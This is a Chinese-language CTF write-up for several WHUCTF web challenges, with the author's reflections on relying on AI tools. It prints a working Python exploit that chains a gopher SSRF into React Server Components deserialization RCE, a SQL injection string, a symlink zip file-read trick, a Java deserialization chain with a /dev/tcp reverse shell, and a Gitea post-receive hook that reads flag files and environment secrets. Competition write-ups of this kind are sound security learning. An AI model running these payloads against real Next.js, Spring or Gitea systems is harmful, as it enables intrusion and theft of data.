web的部分题解,随着复现进度更新,没标记solved是赛后出的
Hell City[solved] 初步测试发现是拼接url访问目的地址
手动探测,发现文件目录,根据这个提示我猜测真正的入口在另一个端口,然后要利用非常一点的协议,根据之前复现熔烬裂谷的经验初步推测是gopher
入口在80端口,协议是gopher,构造payload
入口确认: 可稳定访问 127.0.0.1:80,返回 Next.js 页面,确认目标是 Next/React 服务。
漏洞方向定位: 根据 hint CVE-2025-55182,切到 React Server Components / Server Action 反序列化利用链
触发方式确定: 使用 gopher:// 发送 multipart/form-data 的 POST,构造 0/1/2 三段字段,让_response._prefix 在服务端执行命令。
回显方式修正: 普通 throw Error(…) 只得到哈希digest(无明文)。改成抛 NEXT_REDIRECT:把命令结果塞进digest,由响应头 x-action-redirect 明文带出。
命令验证: 先 id 验证 RCE,再改 cat /flag,从 x-action-redirect 解码得到 flag。
最终exp:执行:python3 gopher.py --cmd "cat /flag"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import argparseimport jsonfrom urllib.parse import quotedef build_js_payload (cmd: str ) -> str : return ( "var o=process.mainModule.require('child_process').execSync(" + json.dumps(cmd) + ").toString().trim();" "throw Object.assign(new Error('NEXT_REDIRECT')," "{digest:'NEXT_REDIRECT;push;/' + encodeURIComponent(o) + ';307;'});" )def build_body (boundary: str , cmd: str ) -> str : obj0 = { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{\"then\":\"$B0\"}" , "_response" : { "_prefix" : build_js_payload(cmd), "_chunks" : "$Q2" , "_formData" : {"get" : "$1:constructor:constructor" }, }, } fields = [ ("0" , json.dumps(obj0, separators=("," , ":" ))), ("1" , "\"$@0\"" ), ("2" , "[]" ), ] parts = [] for k, v in fields: parts.append(f"--{boundary} \r\n" ) parts.append(f"Content-Disposition: form-data; name=\"{k} \"\r\n\r\n" ) parts.append(f"{v} \r\n" ) parts.append(f"--{boundary} --\r\n" ) return "" .join(parts)def build_request (host: str , path: str , boundary: str , body: str , next_action: str ) -> str : return ( f"POST {path} HTTP/1.1\r\n" f"Host: {host} \r\n" f"Next-Action: {next_action} \r\n" f"Content-Type: multipart/form-data; boundary={boundary} \r\n" f"Content-Length: {len (body.encode())} \r\n" "Connection: close\r\n\r\n" f"{body} " )def build_gopher_url (host: str , port: int , req: str ) -> str : return f"gopher://{host} :{port} /_" + quote(req, safe="" )def parse_args () -> argparse.Namespace: parser = argparse.ArgumentParser( description="Build gopher SSRF payload for Next/React multipart Server Action POST" ) parser.add_argument("--host" , default="127.0.0.1" ) parser.add_argument("--port" , type =int , default=80 ) parser.add_argument("--path" , default="/" ) parser.add_argument("--boundary" , default="----x" ) parser.add_argument("--next-action" , dest="next_action" , default="x" ) parser.add_argument("--cmd" , default="id" , help ="RCE command, test with id then switch to cat /flag" ) parser.add_argument( "--all-paths" , action="store_true" , help ="print payloads for /, /_next/action, /flag, /api/flag" , ) return parser.parse_args()def main () -> None : args = parse_args() paths = [args.path] if args.all_paths: paths = ["/" , "/_next/action" , "/flag" , "/api/flag" ] for p in paths: body = build_body(args.boundary, args.cmd) req = build_request(args.host, p, args.boundary, body, args.next_action) print (f"# path={p} cmd={args.cmd} " ) print (build_gopher_url(args.host, args.port, req))if __name__ == "__main__" : main()
手一直在抖看其他web手都出其他题目了我还在这题上面卡
WHUCTF{WeIcom3_7o_7h3_HEIL_7bbc86423c8c}
拿到hint以后的无明文回显和最终的exp构造由AI完成
注注need[solved] 果咩,纯人工以及感谢ika的指导……
python flask框架用file读取/app/app.py,源码中找到账号密码。登陆查看flag
注注need_revenge[solved] 同读取源码,然后可以发现在登录中是可以sql查询的,但是直接登陆进行sql的概率比较低
这时发现UPDATE模块修改通过的nickname等简介板块可以set,尝试修改
‘, role=’admin’ WHERE username=’1’; –
如果修改成功就可以重新登陆了这时进入1(admin)账号(这是个非预期)
然后进入admin账号利用zip上传解压图片,但是很明显flag被ban了,但是根据读源码的提示,是可以被html的标签带出资源的
在 Linux系统中,软链接(Symbolic Link) 是一种特殊的文件或目录,它指向另一个文件或目录。通过软链接,可以方便地访问目标文件或目录,而无需复制实际内容。
所以
1 2 ln -s /flag flag_link.jpg(🔗向flag) zip --symlinks exploit.zip flag_link.jpg
1 2 curl -s -b 'session=.eJwtj00OgjAUhO_yVpoQobSlFg9DXn_QKhRCiy4Id7dadpNvJjOZDdZgl84ZaOsi6-BxDo8pQrsBvjHiAi2UIWJ0uswglP-ksT2uQ-wyvDznOxSg3JTyYbB2PjXV-ZaQHdENCSZ5DHmnXx5Hm-GMIXymJVlgiOaUVpwozowy-sp6KitJTc9qRRtBKtEIqrS8okCUvOEGmZZW1UxoJCy1LdPw60UzOg_50zFFYN-_SxxLOw.aeRTcQ.m_cXewT2kf6cY5HIWnFmgkYBTis' \ http://127.0.0.1:43401/images/flag_link.jpg
这里用curl+session是因为我直接访问没看到,所以用session curl带出
WHUCTF{1eT_uS_0RdeR_A_R46blt_bd35bf401724}
软链接部分是DeepSeek老师提供的思路
Nespresso[solved] 将jar包反编译得到一个jar项目,抛开spring框架查看源码
1.攻击点在/serve的payload参数,base64字节流通过解码触发readobject();
2.继续看发现有黑名单限制:
1 2 3 (CoffeeObjectInputStream .BLACKLIST = (ArrayList <String >)new ArrayList ()).add ((Object )"java.swing" ); CoffeeObjectInputStream .BLACKLIST .add ((Object )"java.security" ); CoffeeObjectInputStream .BLACKLIST .add ((Object )"org.spingframework.aop.target" );
org.spingframework.aop.target
我们不难发现,这个springframework写错了,写成了sping,好的所以应该使用spring链
根据hint:题目环境为JDK17,本题出网,无需内存马
于是进行一些信息搜集
只要在浏览器中输入:JDK17spring反序列化链,第一篇就是参考blog(((
https://curlysean.github.io/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/
但是注意到出网,所以需要一些反弹shell的工作,我们可以把原blog里的poc的string block调整为:
1 2 3 4 5 6 String ip = "127.0.0.1" ; String port = "4444" ; String block = "String[] cmd = {\"/bin/bash\", \"-c\", \"/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1\"};" + "Runtime.getRuntime().exec(cmd);"
需要把本机的jdk版本切换为17,然后进行编译运行,以及要下载一堆jar…….
最终通过反弹shell获取flag,虽然我本地没通但是出题人那边通了,也不知道为什么……交流后还是把分给我了,感到很内疚…….
gitea gitea1.25版本的容器,一直没什么思路,赛后和一些师傅们交流发现是个0day的洞。 根据hint先进行登陆,然后通过/sec/sec/issues/new?template=README.md越权读取,之后继续读取admin账号密码进行登陆。 接下来是利用gitea的hook漏洞,将post-receive钩子修改如下(这是AI搓的果咩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 #!/bin/sh while read oldrev newrev refname; do if [ "$refname " = "refs/heads/main" ] || [ "$refname " = "refs/heads/master" ]; then TARGET_BRANCH=$refname NEWREV=$newrev fi done if [ -z "$TARGET_BRANCH " ]; then TARGET_BRANCH="refs/heads/main" NEWREV=$(git rev-parse HEAD)fi cd $GIT_DIR FLAG=$(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || \cat /app/flag 2>/dev/null || \printenv FLAG 2>/dev/null || \ find / -name "flag*" -type f -exec cat {} \; 2>/dev/null | head -c 1000)if [ -z "$FLAG " ]; then FLAG="flag_not_found_but_hook_worked" fi BLOB=$(echo "$FLAG " | git hash-object -w --stdin) TREE=$(printf "100644 blob %s\tflag.txt\n" "$BLOB " | git mktree) COMMIT=$(echo "add flag" | git commit-tree $TREE -p $NEWREV ) git update-ref $TARGET_BRANCH $COMMIT
新建一个仓库然后pull下来
1 2 3 4 5 6 7 8 9 10 11 12 git clone http://127.0.0.1:42147/sec/flagrepo.gitcd flagrepoecho "final trigger" > trigger.txt git add trigger.txt git commit -m "trigger" git push origin main
一点想法 怎么说呢感到非常抱歉,因为光靠自己的能力是完全不够的,但是AI也没完全发力,可能因为梯子或者网线的问题这次web都不太流畅,然后codex和网页版gpt也登不上去,只能用D老师凑合(反而呢给我提供了很多没用的信息,你说对吧大象)对团队的贡献超级低吧……一直很自责如果多出两个题就好了……
但是经过这次校赛其实也收获了很多吧,特别感谢ika和kuri的指导
也矫正了一些不注重网页架构只看考点就做题的坏习惯,在真正的环境下是不能本末倒置的。
cve的复现很惭愧,只能当脚本小子,自己是不会写的……
打反弹shell非常少,也是狠狠学习了。
总得来说AI给我的冲击非常大,尤其是这种不禁AI的比赛,为了得分大家都大量使用AI了,于是也不得不使用,但是感到由衷的惭愧,因为感觉到实际上凭借自己的能力应该是做不出来的…….很愧疚吧